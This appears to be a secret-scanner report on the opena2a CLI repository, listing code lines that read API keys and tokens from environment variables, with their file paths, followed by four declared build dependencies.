fix: 'Replace with process.env.ANTHROPIC_API_KEY', - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/scanners/skillguard-checks.test.ts :187
const key = process.env.API_KEY; - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/llm-backend.test.ts :74
ANTHROPIC_API_KEY: process.env.ANTHROPIC_API_KEY, - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/llm.test.ts :70
savedEnv = { ANTHROPIC_API_KEY: process.env.ANTHROPIC_API_KEY }; - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/credential-catalog-detection.test.ts :135
`const a = process.env.SLACK_TOKEN || "${SLACK}";`, - secrets opena2a-org-opena2a-46849a9/packages/cli/src/commands/admin.ts :203
process.env.OPENA2A_INTERNAL_API_KEY || - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/src/commands/demo.ts :458
' apiKey: process.env.OPENAI_API_KEY,', - secrets opena2a-org-opena2a-46849a9/packages/cli/src/commands/gcp-sm-migration.ts :27
const hasKeyFile = !!process.env['GOOGLE_APPLICATION_CREDENTIALS'] && - secrets opena2a-org-opena2a-46849a9/packages/cli/src/commands/protect.ts :1030
* is `apiKey: process.env.ANTHROPIC_API_KEY` (code expression) rather than - secrets opena2a-org-opena2a-46849a9/packages/cli/src/commands/vault-migration.ts :25
const hasToken = !!process.env['VAULT_TOKEN']; - secrets opena2a-org-opena2a-46849a9/packages/cli/src/natural/llm-fallback.ts :200
const apiKey = process.env.ANTHROPIC_API_KEY; - secrets opena2a-org-opena2a-46849a9/packages/cli/src/shield/llm-backend.ts :63
const apiKey = process.env.ANTHROPIC_API_KEY;
declared dependencies 4
- @typescript-eslint/parser@8.67.0
- eslint@10.8.1
- turbo@^2.4.0
- typescript@^5.7.0